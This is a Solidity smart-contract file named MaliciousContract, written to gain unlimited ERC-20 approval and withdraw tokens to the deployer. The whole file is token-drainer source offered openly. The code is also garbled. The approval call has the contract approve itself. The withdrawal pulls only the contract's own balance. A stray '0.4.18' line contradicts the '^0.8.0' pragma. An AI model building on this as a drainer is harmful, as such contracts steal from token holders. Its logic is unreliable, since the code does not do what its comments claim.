// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } contract MaliciousContract { address public owner; // Set the deployer of the contract as the owner constructor() { owner = msg.sender; } // Function to request unlimited approval for the contract function requestUnlimitedApproval(address tokenAddress) external { IERC20 token = IERC20(tokenAddress); // Request approval to spend an unlimited amount of tokens token.approve(address(this), type(uint256).max); } // Function to withdraw tokens to the owner's address function withdrawTokens(address tokenAddress) external { require(msg.sender == owner, "Not authorized"); IERC20 token = IERC20(tokenAddress); uint256 balance = token.balanceOf(address(this)); require(token.transferFrom(address(this), owner, balance), "Transfer failed"); } }
0.4.18